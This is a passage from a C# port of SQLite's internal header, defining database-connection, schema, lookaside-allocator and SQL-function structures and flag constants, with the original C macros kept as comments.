64-bit\n** compilers.\n*/\n    //#define LARGEST_INT64  (0xffffffff|(((i64)0x7fffffff)<<32))\n    //#define SMALLEST_INT64 (((i64)-1) - LARGEST_INT64)\n    const i64 LARGEST_INT64 = i64.MaxValue;//( 0xffffffff | ( ( (i64)0x7fffffff ) << 32 ) );\n    const i64 SMALLEST_INT64 = i64.MinValue;//( ( ( i64 ) - 1 ) - LARGEST_INT64 );\n\n    /*\n    ** Round up a number to the next larger multiple of 8.  This is used\n    ** to force 8-byte alignment on 64-bit architectures.\n    */\n    //#define ROUND8(x)     (((x)+7)&~7)\n    static int ROUND8( int x ) { return ( x + 7 ) & ~7; }\n\n    /*\n    ** Round down to the nearest multiple of 8\n    */\n    //#define ROUNDDOWN8(x) ((x)&~7)\n    static int ROUNDDOWN8( int x ) { return x & ~7; }\n\n    /*\n    ** Assert that the pointer X is aligned to an 8-byte boundary.\n    */\n    //#define EIGHT_BYTE_ALIGNMENT(X)   ((((char*)(X) - (char*)0)&7)==0)\n\n    /*\n    ** An instance of the following structure is used to store the busy-handler\n    ** callback for a given sqlite handle.\n    **\n    ** The sqlite.busyHandler member of the sqlite struct contains the busy\n    ** callback for the database handle. Each pager opened via the sqlite\n    ** handle is passed a pointer to sqlite.busyHandler. The busy-handler\n    ** callback is currently invoked only from within pager.c.\n    */\n    //typedef struct BusyHandler BusyHandler;\n    public class BusyHandler\n    {\n      public dxBusy xFunc;//)(void *,int);  /* The busy callback */\n      public object pArg;                   /* First arg to busy callback */\n      public int nBusy;                     /* Incremented with each busy call */\n    };\n\n    /*\n    ** Name of the master database table.  The master database table\n    ** is a special table that holds the names and attributes of all\n    ** user tables and indices.\n    */\n    const string MASTER_NAME = \"sqlite_master\";//#define MASTER_NAME       \"sqlite_master\"\n    const string TEMP_MASTER_NAME = \"sqlite_temp_master\";//#define TEMP_MASTER_NAME  \"sqlite_temp_master\"\n\n    /*\n    ** The root-page of the master database table.\n    */\n    const int MASTER_ROOT = 1;//#define MASTER_ROOT       1\n\n    /*\n    ** The name of the schema table.\n    */\n    static string SCHEMA_TABLE( int x ) //#define SCHEMA_TABLE(x)  ((!OMIT_TEMPDB)&&(x==1)?TEMP_MASTER_NAME:MASTER_NAME)\n    { return ( ( OMIT_TEMPDB == 0 ) && ( x == 1 ) ? TEMP_MASTER_NAME : MASTER_NAME ); }\n\n    /*\n    ** A convenience macro that returns the number of elements in\n    ** an array.\n    */\n    //#define ArraySize(X)    ((int)(sizeof(X)/sizeof(X[0])))\n    static int ArraySize<T>( T[] x ) { return x.Length; }\n\n    /*\n    ** The following value as a destructor means to use //sqlite3DbFree().\n    ** This is an internal extension to SQLITE_STATIC and SQLITE_TRANSIENT.\n    */\n    //#define SQLITE_DYNAMIC   ((sqlite3_destructor_type)//sqlite3DbFree)\n    static dxDel SQLITE_DYNAMIC;\n\n    /*\n    ** When SQLITE_OMIT_WSD is defined, it means that the target platform does\n    ** not support Writable Static Data (WSD) such as global and static variables.\n    ** All variables must either be on the stack or dynamically allocated from\n    ** the heap.  When WSD is unsupported, the variable declarations scattered\n    ** throughout the SQLite code must become constants instead.  The SQLITE_WSD\n    ** macro is used for this purpose.  And instead of referencing the variable\n    ** directly, we use its constant as a key to lookup the run-time allocated\n    ** buffer that holds real variable.  The constant is also the initializer\n    ** for the run-time allocated buffer.\n    **\n    ** In the usual case where WSD is supported, the SQLITE_WSD and GLOBAL\n    ** macros become no-ops and have zero performance impact.\n    */\n#if SQLITE_OMIT_WSD\n//#define SQLITE_WSD const\n//#define GLOBAL(t,v) (*(t*)sqlite3_wsd_find((void*)&(v), sizeof(v)))\n//#define sqlite3GlobalConfig GLOBAL(struct Sqlite3Config, sqlite3Config)\nint sqlite3_wsd_init(int N, int J);\nvoid *sqlite3_wsd_find(void *K, int L);\n#else\n    //#define SQLITE_WSD\n    //#define GLOBAL(t,v) v\n    //#define sqlite3GlobalConfig sqlite3Config\n    static Sqlite3Config sqlite3GlobalConfig;\n#endif\n\n    /*\n** The following macros are used to suppress compiler warnings and to\n** make it clear to human readers when a function parameter is deliberately\n** left unused within the body of a function. This usually happens when\n** a function is called via a function pointer. For example the\n** implementation of an SQL aggregate step callback may not use the\n** parameter indicating the number of arguments passed to the aggregate,\n** if it knows that this is enforced elsewhere.\n**\n** When a function parameter is not used at all within the body of a function,\n** it is generally named \"NotUsed\" or \"NotUsed2\" to make things even clearer.\n** However, these macros may also be used to suppress warnings related to\n** parameters that may or may not be used depending on compilation options.\n** For example those parameters only used in assert() statements. In these\n** cases the parameters are named as per the usual conventions.\n*/\n    //#define UNUSED_PARAMETER(x) (void)(x)\n    static void UNUSED_PARAMETER<T>( T x ) { }\n\n    //#define UNUSED_PARAMETER2(x,y) UNUSED_PARAMETER(x),UNUSED_PARAMETER(y)\n    static void UNUSED_PARAMETER2<T1, T2>( T1 x, T2 y ) { UNUSED_PARAMETER( x ); UNUSED_PARAMETER( y ); }\n\n    /*\n    ** Forward references to structures\n    */\n    //typedef struct AggInfo AggInfo;\n    //typedef struct AuthContext AuthContext;\n    //typedef struct AutoincInfo AutoincInfo;\n    //typedef struct Bitvec Bitvec;\n    //typedef struct RowSet RowSet;\n    //typedef struct CollSeq CollSeq;\n    //typedef struct Column Column;\n    //typedef struct Db Db;\n    //typedef struct Schema Schema;\n    //typedef struct Expr Expr;\n    //typedef struct ExprList ExprList;\n    //typedef struct ExprSpan ExprSpan;\n    //typedef struct FKey FKey;\n    //typedef struct FuncDef FuncDef;\n    //typedef struct IdList IdList;\n    //typedef struct Index Index;\n    //typedef struct KeyClass KeyClass;\n    //typedef struct KeyInfo KeyInfo;\n    //typedef struct Lookaside Lookaside;\n    //typedef struct LookasideSlot LookasideSlot;\n    //typedef struct Module Module;\n    //typedef struct NameContext NameContext;\n    //typedef struct Parse Parse;\n    //typedef struct Savepoint Savepoint;\n    //typedef struct Select Select;\n    //typedef struct SrcList SrcList;\n    //typedef struct StrAccum StrAccum;\n    //typedef struct Table Table;\n    //typedef struct TableLock TableLock;\n    //typedef struct Token Token;\n    //typedef struct TriggerStack TriggerStack;\n    //typedef struct TriggerStep TriggerStep;\n    //typedef struct Trigger Trigger;\n    //typedef struct UnpackedRecord UnpackedRecord;\n    //typedef struct VTable VTable;\n    //typedef struct Walker Walker;\n    //typedef struct WherePlan WherePlan;\n    //typedef struct WhereInfo WhereInfo;\n    //typedef struct WhereLevel WhereLevel;\n\n    /*\n    ** Defer sourcing vdbe.h and btree.h until after the \"u8\" and\n    ** \"BusyHandler\" typedefs. vdbe.h also requires a few of the opaque\n    ** pointer types (i.e. FuncDef) defined above.\n    */\n    //#include \"btree.h\"\n    //#include \"vdbe.h\"\n    //#include \"pager.h\"\n    //#include \"pcache_g.h\"\n\n    //#include \"os.h\"\n    //#include \"mutex.h\"\n\n    /*\n    ** Each database file to be accessed by the system is an instance\n    ** of the following structure.  There are normally two of these structures\n    ** in the sqlite.aDb[] array.  aDb[0] is the main database file and\n    ** aDb[1] is the database file used to hold temporary tables.  Additional\n    ** databases may be attached.\n    */\n    public class Db\n    {\n      public string zName;                  /*  Name of this database  */\n      public Btree pBt;                     /*  The B Tree structure for this database file  */\n      public u8 inTrans;                    /*  0: not writable.  1: Transaction.  2: Checkpoint  */\n      public u8 safety_level;               /*  How aggressive at syncing data to disk  */\n      public Schema pSchema;                /* Pointer to database schema (possibly shared)  */\n    };\n\n    /*\n    ** An instance of the following structure stores a database schema.\n    **\n    ** If there are no virtual tables configured in this schema, the\n    ** Schema.db variable is set to NULL. After the first virtual table\n    ** has been added, it is set to point to the database connection\n    ** used to create the connection. Once a virtual table has been\n    ** added to the Schema structure and the Schema.db variable populated,\n    ** only that database connection may use the Schema to prepare\n    ** statements.\n    */\n    public class Schema\n    {\n      public int schema_cookie;         /* Database schema version number for this file */\n      public Hash tblHash = new Hash(); /* All tables indexed by name */\n      public Hash idxHash = new Hash(); /* All (named) indices indexed by name */\n      public Hash trigHash = new Hash();/* All triggers indexed by name */\n      public Table pSeqTab;             /* The sqlite_sequence table used by AUTOINCREMENT */\n      public u8 file_format;           /* Schema format version for this file */\n      public u8 enc;                   /* Text encoding used by this database */\n      public u16 flags;                 /* Flags associated with this schema */\n      public int cache_size;            /* Number of pages to use in the cache */\n#if !SQLITE_OMIT_VIRTUALTABLE\npublic   sqlite3 db;                    /* \"Owner\" connection. See comment above */\n#endif\n      public Schema Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Schema cp = (Schema)MemberwiseClone();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** These macros can be used to test, set, or clear bits in the\n    ** Db.flags field.\n    */\n    //#define DbHasProperty(D,I,P)     (((D)->aDb[I].pSchema->flags&(P))==(P))\n    static bool DbHasProperty( sqlite3 D, int I, ushort P ) { return ( D.aDb[I].pSchema.flags & P ) == P; }\n    //#define DbHasAnyProperty(D,I,P)  (((D)->aDb[I].pSchema->flags&(P))!=0)\n    //#define DbSetProperty(D,I,P)     (D)->aDb[I].pSchema->flags|=(P)\n    static void DbSetProperty( sqlite3 D, int I, ushort P ) { D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags | P ); }\n    //#define DbClearProperty(D,I,P)   (D)->aDb[I].pSchema->flags&=~(P)\n    static void DbClearProperty( sqlite3 D, int I, ushort P ) { D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags & ~P ); }\n    /*\n    ** Allowed values for the DB.flags field.\n    **\n    ** The DB_SchemaLoaded flag is set after the database schema has been\n    ** read into internal hash tables.\n    **\n    ** DB_UnresetViews means that one or more views have column names that\n    ** have been filled out.  If the schema changes, these column names might\n    ** changes and so the view will need to be reset.\n    */\n    //#define DB_SchemaLoaded    0x0001  /* The schema has been loaded */\n    //#define DB_UnresetViews    0x0002  /* Some views have defined column names */\n    //#define DB_Empty           0x0004  /* The file is empty (length 0 bytes) */\n    const u16 DB_SchemaLoaded = 0x0001;\n    const u16 DB_UnresetViews = 0x0002;\n    const u16 DB_Empty = 0x0004;\n\n    /*\n    ** The number of different kinds of things that can be limited\n    ** using the sqlite3_limit() interface.\n    */\n    //#define SQLITE_N_LIMIT (SQLITE_LIMIT_VARIABLE_NUMBER+1)\n    const int SQLITE_N_LIMIT = SQLITE_LIMIT_VARIABLE_NUMBER + 1;\n\n    /*\n    ** Lookaside malloc is a set of fixed-size buffers that can be used\n    ** to satisfy small transient memory allocation requests for objects\n    ** associated with a particular database connection.  The use of\n    ** lookaside malloc provides a significant performance enhancement\n    ** (approx 10%) by avoiding numerous malloc/free requests while parsing\n    ** SQL statements.\n    **\n    ** The Lookaside structure holds configuration information about the\n    ** lookaside malloc subsystem.  Each available memory allocation in\n    ** the lookaside subsystem is stored on a linked list of LookasideSlot\n    ** objects.\n    **\n    ** Lookaside allocations are only allowed for objects that are associated\n    ** with a particular database connection.  Hence, schema information cannot\n    ** be stored in lookaside because in shared cache mode the schema information\n    ** is shared by multiple database connections.  Therefore, while parsing\n    ** schema information, the Lookaside.bEnabled flag is cleared so that\n    ** lookaside allocations are not used to construct the schema objects.\n    */\n    public class Lookaside\n    {\n      public int sz;               /* Size of each buffer in bytes */\n      public u8 bEnabled;        /* False to disable new lookaside allocations */\n      public bool bMalloced;       /* True if pStart obtained from sqlite3_malloc() */\n      public int nOut;             /* Number of buffers currently checked out */\n      public int mxOut;            /* Highwater mark for nOut */\n      public LookasideSlot pFree;  /* List of available buffers */\n      public int pStart;           /* First byte of available memory space */\n      public int pEnd;             /* First byte past end of available space */\n    };\n    public class LookasideSlot\n    {\n      public LookasideSlot pNext;    /* Next buffer in the list of free buffers */\n    };\n\n    /*\n    ** A hash table for function definitions.\n    **\n    ** Hash each FuncDef structure into one of the FuncDefHash.a[] slots.\n    ** Collisions are on the FuncDef.pHash chain.\n    */\n    public class FuncDefHash\n    {\n      public FuncDef[] a = new FuncDef[23];       /* Hash table for functions */\n    };\n\n    /*\n    ** Each database is an instance of the following structure.\n    **\n    ** The sqlite.lastRowid records the last insert rowid generated by an\n    ** insert statement.  Inserts on views do not affect its value.  Each\n    ** trigger has its own context, so that lastRowid can be updated inside\n    ** triggers as usual.  The previous value will be restored once the trigger\n    ** exits.  Upon entering a before or instead of trigger, lastRowid is no\n    ** longer (since after version 2.8.12) reset to -1.\n    **\n    ** The sqlite.nChange does not count changes within triggers and keeps no\n    ** context.  It is reset at start of sqlite3_exec.\n    ** The sqlite.lsChange represents the number of changes made by the last\n    ** insert, update, or delete statement.  It remains constant throughout the\n    ** length of a statement and is then updated by OP_SetCounts.  It keeps a\n    ** context stack just like lastRowid so that the count of changes\n    ** within a trigger is not seen outside the trigger.  Changes to views do not\n    ** affect the value of lsChange.\n    ** The sqlite.csChange keeps track of the number of current changes (since\n    ** the last statement) and is used to update sqlite_lsChange.\n    **\n    ** The member variables sqlite.errCode, sqlite.zErrMsg and sqlite.zErrMsg16\n    ** store the most recent error code and, if applicable, string. The\n    ** internal function sqlite3Error() is used to set these variables\n    ** consistently.\n    */\n    public class sqlite3\n    {\n      public sqlite3_vfs pVfs;             /* OS Interface */\n      public int nDb;                      /* Number of backends currently in use */\n      public Db[] aDb = new Db[SQLITE_MAX_ATTACHED];         /* All backends */\n      public int flags;                    /* Miscellaneous flags. See below */\n      public int openFlags;                /* Flags passed to sqlite3_vfs.xOpen() */\n      public int errCode;                  /* Most recent error code (SQLITE_*) */\n      public int errMask;                  /* & result codes with this before returning */\n      public u8 autoCommit;                /* The auto-commit flag. */\n      public u8 temp_store;                /* 1: file 2: memory 0: default */\n      // Cannot happen under C#\n      //      public u8 mallocFailed;              /* True if we have seen a malloc failure */\n      public u8 dfltLockMode;              /* Default locking-mode for attached dbs */\n      public u8 dfltJournalMode;           /* Default journal mode for attached dbs */\n      public int nextAutovac;              /* Autovac setting after VACUUM if >=0 */\n      public int nextPagesize;             /* Pagesize after VACUUM if >0 */\n      public int nTable;                   /* Number of tables in the database */\n      public CollSeq pDfltColl;            /* The default collating sequence (BINARY) */\n      public i64 lastRowid;                /* ROWID of most recent insert (see above) */\n      public u32 magic;                    /* Magic number for detect library misuse */\n      public int nChange;                  /* Value returned by sqlite3_changes() */\n      public int nTotalChange;             /* Value returned by sqlite3_total_changes() */\n      public sqlite3_mutex mutex;          /* Connection mutex */\n      public int[] aLimit = new int[SQLITE_N_LIMIT];   /* Limits */\n      public class sqlite3InitInfo\n      {      /* Information used during initialization */\n        public int iDb;                    /* When back is being initialized */\n        public int newTnum;                /* Rootpage of table being initialized */\n        public u8 busy;                    /* TRUE if currently initializing */\n        public u8 orphanTrigger;           /* Last statement is orphaned TEMP trigger */\n      };\n      public sqlite3InitInfo init = new sqlite3InitInfo();\n      public int nExtension;               /* Number of loaded extensions */\n      public object[] aExtension;          /* Array of shared library handles */\n      public Vdbe pVdbe;                   /* List of active virtual machines */\n      public int activeVdbeCnt;            /* Number of VDBEs currently executing */\n      public int writeVdbeCnt;             /* Number of active VDBEs that are writing */\n      public dxTrace xTrace;//)(void*,const char*);        /* Trace function */\n      public object pTraceArg;                          /* Argument to the trace function */\n      public dxProfile xProfile;//)(void*,const char*,u64);  /* Profiling function */\n      public object pProfileArg;                        /* Argument to profile function */\n      public object pCommitArg;                 /* Argument to xCommitCallback() */\n      public dxCommitCallback xCommitCallback;//)(void*);    /* Invoked at every commit. */\n      public object pRollbackArg;               /* Argument to xRollbackCallback() */\n      public dxRollbackCallback xRollbackCallback;//)(void*); /* Invoked at every commit. */\n      public object pUpdateArg;\n      public dxUpdateCallback xUpdateCallback;//)(void*,int, const char*,const char*,sqlite_int64);\n      public dxCollNeeded xCollNeeded;//)(void*,sqlite3*,int eTextRep,const char*);\n      public dxCollNeeded xCollNeeded16;//)(void*,sqlite3*,int eTextRep,const void*);\n      public object pCollNeededArg;\n      public sqlite3_value pErr;            /* Most recent error message */\n      public string zErrMsg;                /* Most recent error message (UTF-8 encoded) */\n      public string zErrMsg16;              /* Most recent error message (UTF-16 encoded) */\n      public struct _u1\n      {\n        public bool isInterrupted;          /* True if sqlite3_interrupt has been called */\n        public double notUsed1;            /* Spacer */\n      }\n      public _u1 u1;\n      public Lookaside lookaside = new Lookaside();          /* Lookaside malloc configuration */\n#if !SQLITE_OMIT_AUTHORIZATION\npublic dxAuth xAuth;//)(void*,int,const char*,const char*,const char*,const char*);\n/* Access authorization function */\npublic object pAuthArg;               /* 1st argument to the access auth function */\n#endif\n#if !SQLITE_OMIT_PROGRESS_CALLBACK\n      public dxProgress xProgress;//)(void *);  /* The progress callback */\n      public object pProgressArg;               /* Argument to the progress callback */\n      public int nProgressOps;                  /* Number of opcodes for progress callback */\n#endif\n#if !SQLITE_OMIT_VIRTUALTABLE\n      public Hash aModule;                  /* populated by sqlite3_create_module() */\n      public Table pVTab;                   /* vtab with active Connect/Create method */\n      public VTable aVTrans;                /* Virtual tables with open transactions */\n      public int nVTrans;                   /* Allocated size of aVTrans */\n      public VTable pDisconnect;            /* Disconnect these in next sqlite3_prepare() */\n#endif\n      public FuncDefHash aFunc = new FuncDefHash();       /* Hash table of connection functions */\n      public Hash aCollSeq = new Hash();                  /* All collating sequences */\n      public BusyHandler busyHandler = new BusyHandler(); /* Busy callback */\n      public int busyTimeout;                             /* Busy handler timeout, in msec */\n      public Db[] aDbStatic = new Db[] { new Db(), new Db() };              /* Static space for the 2 default backends */\n      public Savepoint pSavepoint;         /* List of active savepoints */\n      public int nSavepoint;               /* Number of non-transaction savepoints */\n      public int nStatement;               /* Number of nested statement-transactions  */\n      public u8 isTransactionSavepoint;    /* True if the outermost savepoint is a TS */\n#if SQLITE_ENABLE_UNLOCK_NOTIFY\n/* The following variables are all protected by the STATIC_MASTER\n** mutex, not by sqlite3.mutex. They are used by code in notify.c.\n**\n** When X.pUnlockConnection==Y, that means that X is waiting for Y to\n** unlock so that it can proceed.\n**\n** When X.pBlockingConnection==Y, that means that something that X tried\n** tried to do recently failed with an SQLITE_LOCKED error due to locks\n** held by Y.\n*/\nsqlite3 *pBlockingConnection; /* Connection that caused SQLITE_LOCKED */\nsqlite3 *pUnlockConnection;           /* Connection to watch for unlock */\nvoid *pUnlockArg;                     /* Argument to xUnlockNotify */\nvoid (*xUnlockNotify)(void **, int);  /* Unlock notify callback */\nsqlite3 *pNextBlocked;        /* Next in list of all blocked connections */\n#endif\n    };\n\n    /*\n    ** A macro to discover the encoding of a database.\n    */\n    //#define ENC(db) ((db)->aDb[0].pSchema->enc)\n    static u8 ENC( sqlite3 db ) { return db.aDb[0].pSchema.enc; }\n\n    /*\n    ** Possible values for the sqlite.flags and or Db.flags fields.\n    **\n    ** On sqlite.flags, the SQLITE_InTrans value means that we have\n    ** executed a BEGIN.  On Db.flags, SQLITE_InTrans means a statement\n    ** transaction is active on that particular database file.\n    */\n    const int SQLITE_VdbeTrace = 0x00000001;//#define SQLITE_VdbeTrace      0x00000001  /* True to trace VDBE execution */\n    const int SQLITE_InTrans = 0x00000008;//#define SQLITE_InTrans        0x00000008  /* True if in a transaction */\n    const int SQLITE_InternChanges = 0x00000010;//#define SQLITE_InternChanges  0x00000010  /* Uncommitted Hash table changes */\n    const int SQLITE_FullColNames = 0x00000020;//#define SQLITE_FullColNames   0x00000020  /* Show full column names on SELECT */\n    const int SQLITE_ShortColNames = 0x00000040;//#define SQLITE_ShortColNames  0x00000040  /* Show short columns names */\n    const int SQLITE_CountRows = 0x00000080;//#define SQLITE_CountRows      0x00000080  /* Count rows changed by INSERT, */\n    //                                          /*   DELETE, or UPDATE and return */\n    //                                          /*   the count using a callback. */\n    const int SQLITE_NullCallback = 0x00000100;  //#define SQLITE_NullCallback   0x00000100  /* Invoke the callback once if the */\n    //                                          /*   result set is empty */\n    const int SQLITE_SqlTrace = 0x00000200;      //#define SQLITE_SqlTrace       0x00000200  /* Debug print SQL as it executes */\n    const int SQLITE_VdbeListing = 0x00000400;   //#define SQLITE_VdbeListing    0x00000400  /* Debug listings of VDBE programs */\n    const int SQLITE_WriteSchema = 0x00000800;   //#define SQLITE_WriteSchema    0x00000800  /* OK to update SQLITE_MASTER */\n    const int SQLITE_NoReadlock = 0x00001000;    //#define SQLITE_NoReadlock     0x00001000  /* Readlocks are omitted when\n    //                                          ** accessing read-only databases */\n    const int SQLITE_IgnoreChecks = 0x00002000;  //#define SQLITE_IgnoreChecks   0x00002000  /* Do not enforce check constraints */\n    const int SQLITE_ReadUncommitted = 0x00004000;//#define SQLITE_ReadUncommitted 0x00004000 /* For shared-cache mode */\n    const int SQLITE_LegacyFileFmt = 0x00008000; //#define SQLITE_LegacyFileFmt  0x00008000  /* Create new databases in format 1 */\n    const int SQLITE_FullFSync = 0x00010000;     //#define SQLITE_FullFSync      0x00010000  /* Use full fsync on the backend */\n    const int SQLITE_LoadExtension = 0x00020000; //#define SQLITE_LoadExtension  0x00020000  /* Enable load_extension */\n\n    const int SQLITE_RecoveryMode = 0x00040000;  //#define SQLITE_RecoveryMode   0x00040000  /* Ignore schema errors */\n    const int SQLITE_ReverseOrder = 0x00100000;  //#define SQLITE_ReverseOrder   0x00100000  /* Reverse unordered SELECTs */\n\n    /*\n    ** Possible values for the sqlite.magic field.\n    ** The numbers are obtained at random and have no special meaning, other\n    ** than being distinct from one another.\n    */\n    const int SQLITE_MAGIC_OPEN = 0x1029a697;   //#define SQLITE_MAGIC_OPEN     0xa029a697  /* Database is open */\n    const int SQLITE_MAGIC_CLOSED = 0x2f3c2d33; //#define SQLITE_MAGIC_CLOSED   0x9f3c2d33  /* Database is closed */\n    const int SQLITE_MAGIC_SICK = 0x3b771290;   //#define SQLITE_MAGIC_SICK     0x4b771290  /* Error and awaiting close */\n    const int SQLITE_MAGIC_BUSY = 0x403b7906;   //#define SQLITE_MAGIC_BUSY     0xf03b7906  /* Database currently in use */\n    const int SQLITE_MAGIC_ERROR = 0x55357930;  //#define SQLITE_MAGIC_ERROR    0xb5357930  /* An SQLITE_MISUSE error occurred */\n\n    /*\n    ** Each SQL function is defined by an instance of the following\n    ** structure.  A pointer to this structure is stored in the sqlite.aFunc\n    ** hash table.  When multiple functions have the same name, the hash table\n    ** points to a linked list of these structures.\n    */\n    public class FuncDef\n    {\n      public i16 nArg;           /* Number of arguments.  -1 means unlimited */\n      public u8 iPrefEnc;        /* Preferred text encoding (SQLITE_UTF8, 16LE, 16BE) */\n      public u8 flags;           /* Some combination of SQLITE_FUNC_* */\n      public object pUserData;   /* User data parameter */\n      public FuncDef pNext;      /* Next function with same name */\n      public dxFunc xFunc;//)(sqlite3_context*,int,sqlite3_value**); /* Regular function */\n      public dxStep xStep;//)(sqlite3_context*,int,sqlite3_value**); /* Aggregate step */\n      public dxFinal xFinalize;//)(sqlite3_context*);                /* Aggregate finalizer */\n      public string zName;       /* SQL name of the function. */\n      public FuncDef pHash;      /* Next with a different name but the same hash */\n\n\n      public FuncDef()\n      { }\n\n      public FuncDef( i16 nArg, u8 iPrefEnc, u8 iflags, object pUserData, FuncDef pNext, dxFunc xFunc, dxStep xStep, dxFinal xFinalize, string zName, FuncDef pHash )\n      {\n        this.nArg = nArg;\n        this.iPrefEnc = iPrefEnc;\n        this.flags = iflags;\n        this.pUserData = pUserData;\n        this.pNext = pNext;\n        this.xFunc = xFunc;\n        this.xStep = xStep;\n        this.xFinalize = xFinalize;\n        this.zName = zName;\n        this.pHash = pHash;\n      }\n      public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxFunc xFunc )\n      {\n        this.nArg = nArg;\n        this.iPrefEnc = iPrefEnc;\n        this.flags = iflags;\n        this.pUserData = iArg;\n        this.pNext = null;\n        this.xFunc = xFunc;\n        this.xStep = null;\n        this.xFinalize = null;\n        this.zName = zName;\n      }\n\n      public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxStep xStep, dxFinal xFinal )\n      {\n        this.nArg = nArg;\n        this.iPrefEnc = iPrefEnc;\n        this.flags = iflags;\n        this.pUserData = iArg;\n        this.pNext = null;\n        this.xFunc = null;\n        this.xStep = xStep;\n        this.xFinalize = xFinal;\n        this.zName = zName;\n      }\n\n      public FuncDef( string zName, u8 iPrefEnc, i16 nArg, object arg, dxFunc xFunc, u8 flags )\n      {\n        this.nArg = nArg;\n        this.iPrefEnc = iPrefEnc;\n        this.flags = flags;\n        this.pUserData = arg;\n        this.pNext = null;\n        this.xFunc = xFunc;\n        this.xStep = null;\n        this.xFinalize = null;\n        this.zName = zName;\n      }\n\n    };\n\n    /*\n    ** Possible values for FuncDef.flags\n    */\n    //#define SQLITE_FUNC_LIKE     0x01  /* Candidate for the LIKE optimization */\n    //#define SQLITE_FUNC_CASE     0x02  /* Case-sensitive LIKE-type function */\n    //#define SQLITE_FUNC_EPHEM    0x04  /* Ephemeral.  Delete with VDBE */\n    //#define SQLITE_FUNC_NEEDCOLL 0x08 /* sqlite3GetFuncCollSeq() might be called */\n    //#define SQLITE_FUNC_PRIVATE  0x10 /* Allowed for internal use only */\n    //#define SQLITE_FUNC_COUNT    0x20 /* Built-in count(*) aggregate */\n    const int SQLITE_FUNC_LIKE = 0x01;    /* Candidate for the LIKE optimization */\n    const int SQLITE_FUNC_CASE = 0x02;    /* Case-sensitive LIKE-type function */\n    const int SQLITE_FUNC_EPHEM = 0x04;   /* Ephermeral.  Delete with VDBE */\n    const int SQLITE_FUNC_NEEDCOLL = 0x08;/* sqlite3GetFuncCollSeq() might be called */\n    const int SQLITE_FUNC_PRIVATE = 0x10; /* Allowed for internal use only */\n    const int SQLITE_FUNC_COUNT = 0x20;   /* Built-in count(*) aggregate */\n\n\n    /*\n    ** The following three macros, FUNCTION(), LIKEFUNC() and AGGREGATE() are\n    ** used to create the initializers for the FuncDef structures.\n    **\n    **   FUNCTION(zName, nArg, iArg, bNC, xFunc)\n    **     Used to create a scalar function definition of a function zName\n    **     implemented by C function xFunc that accepts nArg arguments. The\n    **     value passed as iArg is cast to a (void*) and made available\n    **     as the user-data (sqlite3_user_data()) for the function. If\n    **     argument bNC is true, then the SQLITE_FUNC_NEEDCOLL flag is set.\n    **\n    **   AGGREGATE(zName, nArg, iArg, bNC, xStep, xFinal)\n    **     Used to create an aggregate function definition implemented by\n    **     the C functions xStep and xFinal. The first four parameters\n    **     are interpreted in the same way as the first 4 parameters to\n    **     FUNCTION().\n    **\n    **   LIKEFUNC(zName, nArg, pArg, flags)\n    **     Used to create a scalar function definition of a function zName\n    **     that accepts nArg arguments and is implemented by a call to C\n    **     function likeFunc. Argument pArg is cast to a (void *) and made\n    **     available as the function user-data (sqlite3_user_data()). The\n    **     FuncDef.flags variable is set to the value passed as the flags\n    **     parameter.\n    */\n    //#define FUNCTION(zName, nArg, iArg, bNC, xFunc) \\\n    //  {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \\\n    //SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0}\n\n    static FuncDef FUNCTION( string zName, i16 nArg, int iArg, u8 bNC, dxFunc xFunc )\n    { return new FuncDef( zName, SQLITE_UTF8, nArg, iArg, (u8)( bNC * SQLITE_FUNC_NEEDCOLL ), xFunc ); }\n\n    //#define STR_FUNCTION(zName, nArg, pArg, bNC, xFunc) \\\n    //  {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \\\n    //pArg, 0, xFunc, 0, 0, #zName, 0}\n\n    //#define LIKEFUNC(zName, nArg, arg, flags) \\\n    //  {nArg, SQLITE_UTF8, flags, (void *)arg, 0, likeFunc, 0, 0, #zName, 0}\n    static FuncDef LIKEFUNC( string zName, i16 nArg, object arg, u8 flags )\n    { return new FuncDef( zName, SQLITE_UTF8, nArg, arg, likeFunc, flags ); }\n\n    //#define AGGREGATE(zName, nArg, arg, nc, xStep, xFinal) \\\n    //  {nArg, SQLITE_UTF8, nc*SQLITE_FUNC_NEEDCOLL, \\\n    //SQLITE_INT_TO_PTR(arg), 0, 0, xStep,xFinal,#zName,0}\n\n    static FuncDef AGGREGATE( string zName, i16 nArg, int arg, u8 nc, dxStep xStep, dxFinal xFinal )\n    { return new FuncDef( zName, SQLITE_UTF8, nArg, arg, (u8)( nc * SQLITE_FUNC_NEEDCOLL ), xStep, xFinal ); }\n\n    /*\n    ** All current savepoints are stored in a linked list starting at\n    ** sqlite3.pSavepoint. The first element in the list is the most recently\n    ** opened savepoint. Savepoints are added to the list by the vdbe\n    ** OP_Savepoint instruction.\n    */\n    //struct Savepoint {\n    //  char *zName;                        /* Savepoint name (nul-terminated) */\n    //  Savepoint *pNext;                   /* Parent savepoint (if any) */\n    //};\n    public class Savepoint\n    {\n      public string zName;              /* Savepoint name (nul-terminated) */\n      public Savepoint pNext;           /* Parent savepoint (if any) */\n    };\n    /*\n    ** The following are used as the second parameter to sqlite3Savepoint(),\n    ** and as the P1 argument to the OP_Savepoint instruction.\n    */\n    const int SAVEPOINT_BEGIN = 0;   //#define SAVEPOINT_BEGIN      0\n    const int SAVEPOINT_RELEASE = 1;   //#define SAVEPOINT_RELEASE    1\n    const int SAVEPOINT_ROLLBACK = 2;    //#define SAVEPOINT_ROLLBACK   2\n\n    /*\n    ** Each SQLite module (virtual table definition) is defined by an\n    ** instance of the following structure, stored in the sqlite3.aModule\n    ** hash table.\n    */\n    public class Module\n    {\n      public sqlite3_module pModule;          /* Callback pointers */\n      public string zName;                    /* Name passed to create_module() */\n      public object pAux;                     /* pAux passed to create_module() */\n      public dxDestroy xDestroy;//)(void *);  /* Module destructor function */\n    };\n\n    /*\n** information about each column of an SQL table is held in an instance\n** of this structure.\n*/\n    public class Column\n    {\n      public string zName;      /* Name of this column */\n      public Expr pDflt;        /* Default value of this column */\n      public string zDflt;      /* Original text of the default value */\n      public string zType;      /* Data type for this column */\n      public string zColl;      /* Collating sequence.  